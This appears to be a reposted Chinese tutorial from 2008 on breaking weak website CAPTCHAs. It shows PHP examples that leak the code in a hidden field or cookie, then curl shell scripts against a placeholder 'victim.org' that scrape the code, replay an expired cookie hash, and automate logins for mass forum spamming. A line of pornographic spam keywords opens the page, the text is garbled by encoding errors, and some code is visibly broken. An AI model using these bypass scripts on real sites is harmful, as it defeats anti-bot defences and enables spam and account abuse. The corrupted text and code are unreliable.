亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

驗(yàn)證碼破解技術(shù)

互聯(lián)網(wǎng)   發(fā)布時(shí)間:2008-10-08 19:03:06   作者:佚名   我要評論
所謂驗(yàn)證碼,就是將一串隨機(jī)產(chǎn)生的數(shù)字或符號,生成一幅圖片,圖片里加上一些干擾象素(防止OCR),由用戶肉眼識別其中的驗(yàn)證碼信息, 輸入表單提交網(wǎng)站驗(yàn)證,驗(yàn)證成功后才能使用某項(xiàng)功能。不少網(wǎng)站為了防止用戶利用機(jī)器人自動注冊、登錄、灌水,都采用了 驗(yàn)證碼技術(shù)。
所謂驗(yàn)證碼,就是將一串隨機(jī)產(chǎn)生的數(shù)字或符號,生成一幅圖片,圖片里加上一些干擾象素(防止OCR),由用戶肉眼識別其中的驗(yàn)證碼信息, 輸入表單提交網(wǎng)站驗(yàn)證,驗(yàn)證成功后才能使用某項(xiàng)功能。不少網(wǎng)站為了防止用戶利用機(jī)器人自動注冊、登錄、灌水,都采用了 驗(yàn)證碼技術(shù)。 很多驗(yàn)證碼實(shí)現(xiàn)都有問題。比如直接給出用驗(yàn)證碼在網(wǎng)頁和cookies中。 驗(yàn)證碼在網(wǎng)頁中的例子: CODE: <?
/*
* Filename: authpage.php
* Author: hutuworm
* Date: 2003-04-28
* @Copyleft hutuworm.org
*/ srand((double)microtime()*1000000); //驗(yàn)證用戶輸入是否和驗(yàn)證碼一致
if(isset($HTTP_POST_VARS[’authinput’]))
{
if(strcmp($HTTP_POST_VARS[’authnum’],$HTTP_POST_VARS[’authinput’])==0)
echo "驗(yàn)證成功!";
else
echo "驗(yàn)證失?。?quot;;
}

//生成新的四位整數(shù)驗(yàn)證碼
while(($authnum=rand()000)<1000);
?>
<form action=authpage.php method=post>
<table>
請輸入驗(yàn)證碼:<input type=text name=authinput style="width: 80px"><br>
<input type=submit name="驗(yàn)證" value="提交驗(yàn)證碼">
<input type=hidden name=authnum value=<? echo $authnum; ?>>
<img src=authimg.php?authnum=<? echo $authnum; ?>>
</table>
</form> [Copy to clipboard] 以上例子直接將驗(yàn)證碼儲存在負(fù)面中,只需下載頁面,得到驗(yàn)證碼值就可突破限制。 CODE: #!/bin/sh
curl [url]http://www.vicitm.org/authpage.php[/url]
authinput=`grep ’<input type=hidden name=authnum value=[[:digit:]]\{4\}>’ grep.txt | sed -e ’s/[^0-9]//g’` #得到網(wǎng)頁中的 authnum
curl [url]http://www.vicitm.org/authpage.php[/url] -d name=hacker -d submit="驗(yàn)證" -d authnum=$authnum [Copy to clipboard] CODE: session_register("authnum");
$authnum = strval(rand("1111","9999"));
setcookie("authnum",$authnum); ...
<input type=text name=authnum maxlength=4><img src=get_code.php>
... if($number != $login_check_number || empty($number))
{
print("校驗(yàn)碼不正確!");
die();
}
[Copy to clipboard] 第二種要比上一種聰明一點(diǎn),把驗(yàn)證碼值存放在用戶Cookies中??墒怯捎贑ookies是用戶可讀可寫,所以也極易被突破。
CODE: #!/bin/sh
$username=hacker
$password=hackme
curl [url]http://www.vicitm.org/index.php[/url] -c common_cookie # 接受服務(wù)器的初始cookies
curl [url]http://www.vicitm.org/get_code.php[/url] -c $username.cook -b common_cookie # 得到驗(yàn)證碼,從cookies中
authnum=`grep authnum $username.cook | cut -f7`
curl [url]http://www.victim.org/login.php[/url] -b $username.cook -d authnum=$authnum -d username=$username -d password=$password # 使用 cookies中的驗(yàn)證碼登陸 [Copy to clipboard]
更高級的驗(yàn)證碼。(好像本論壇的就是這種。。。。)
有一類驗(yàn)證碼比以上兩種驗(yàn)證碼要高級一些,它使用如下算法:
1。服務(wù)器生成一個(gè)隨機(jī)hash。
2。使用某個(gè)算法(不可逆,破解難度高的)將hash轉(zhuǎn)化成為驗(yàn)證碼數(shù)字,再轉(zhuǎn)化成圖片。
3。hash在cookie中被發(fā)送到客戶端
3??蛻粢詧D片輸入驗(yàn)證碼,進(jìn)行登錄。服務(wù)器檢查f(hash)=驗(yàn)證碼。 特點(diǎn):因?yàn)楣粽卟幻靼追?wù)器所使用的驗(yàn)證碼編碼算法,所以無法對服務(wù)器轉(zhuǎn)來的hash進(jìn)行直接解析。 對付這種驗(yàn)證碼,我們可以使用“過期cookies法”,方法即:保存服務(wù)器一次特定的cookies,將其對應(yīng)驗(yàn)證碼記下。在每次發(fā)送驗(yàn)證消息時(shí) ,強(qiáng)行扔掉服務(wù)器傳來的cookies,使用這個(gè)已被使用過的cookies以及驗(yàn)證碼。就好比,一張電話充值卡可以用多次一樣。 如:
先從服務(wù)器上下載一張驗(yàn)證碼圖片:
curl http://www.victim.org/get_code.php -c cookie -o auth.png
人工閱讀,得到$savecookie(cookie文件中的hash)和$authnum(驗(yàn)證碼)。
機(jī)器人突破驗(yàn)證時(shí),扔掉服務(wù)器給的hash,強(qiáng)制使用$savecookie和$authnum進(jìn)行突破
CODE: $savecookie=294b506f05f896dcbb3a0dde86a5e36c
$num=7701
$username=hacker
$password=hackme curl [url]http://www.victim.org/index.php[/url] -c $username.cookie # 得到初始化cookies,以及session id
grep -v authhash $username.cookie > tmp.$username # 扔掉服務(wù)器給你的hash
echo "[url]www.victim.org[/url] FALSE / FALSE 0 hash $savecookie" >> tmp.$username # 強(qiáng)行使用過期hash 和驗(yàn)證碼
mv tmp.$username $username.cookie
curl [url]http://www.victim.org/login.php[/url] -b $username.cookie -c $username.cookie -d username=$username -d password=$password -d authnum=$num # 使用過期驗(yàn)證碼登陸。
#登陸成功,去瘋狂灌水。。。。。。 [Copy to clipboard]
最高級的驗(yàn)證碼。
它使用如下方法:
1。服務(wù)器通過用戶相關(guān)信息(IP,SID等等)生成一個(gè)隨機(jī)hash。
2。使用某個(gè)算法(不可逆,破解難度高的)將hash轉(zhuǎn)化成為驗(yàn)證碼數(shù)字。
3。hash不再發(fā)送給客戶端。它被保存到本地?cái)?shù)據(jù)庫(通常是SESSIONS,有關(guān)用戶IP等信息),并由一個(gè)序列號seq所指向。(這個(gè)seq也可以 是session id)
4。seq被作為cookies發(fā)送給客戶端。
5??蛻粢詧D片輸入驗(yàn)證碼。
5。服務(wù)器驗(yàn)證方法:服務(wù)器并不檢查f(hash)==驗(yàn)證碼,而是去讀取數(shù)據(jù)庫中期望的驗(yàn)證碼。。如果用戶輸入與期望值相同,則驗(yàn)證 成功。有些服務(wù)器可能還會seq與session id之間的關(guān)系進(jìn)行驗(yàn)繼續(xù)進(jìn)行驗(yàn)證。
6。一旦用戶進(jìn)行了驗(yàn)證操作或重新獲取驗(yàn)證碼,而是服務(wù)器將對數(shù)據(jù)庫中的hash值替換成新的,老值失效過期。 特點(diǎn):
×過期:由于服務(wù)器只期望保存在當(dāng)前數(shù)據(jù)庫中的驗(yàn)證碼,所以無法使用“過期”的驗(yàn)證碼(因?yàn)橐驯恍买?yàn)證碼所替換)。
×高強(qiáng)度:只發(fā)送seq,而hash被保存在本地,所以也極難破譯出f(hash)函數(shù)。 弱點(diǎn):OCR(光學(xué)識別) seq劫持 “驗(yàn)證碼”DOS(對某些seq進(jìn)行反復(fù)請求,導(dǎo)致某些用戶無法進(jìn)行正常驗(yàn)證)
對付這種驗(yàn)證碼我沒有什么好的方法,簡便的方法就是自行下載驗(yàn)證碼,并給用戶顯示后登陸。這種適用只驗(yàn)證一次的場合。如登陸時(shí)驗(yàn)證。
CODE: curl [url]http://www.victim.org/get_code.php[/url] -c validate.png -c validcode_cookie # 得到驗(yàn)證碼圖片,和對應(yīng)seq。
seq=`grep seq validcode_cookie | cut -f7`
echo -n 請輸入validate.png中的驗(yàn)證碼:
read valid_number # 輸入驗(yàn)證碼
# 登陸,并進(jìn)行某種自動化操作,如瘋狂灌水。

相關(guān)文章

最新評論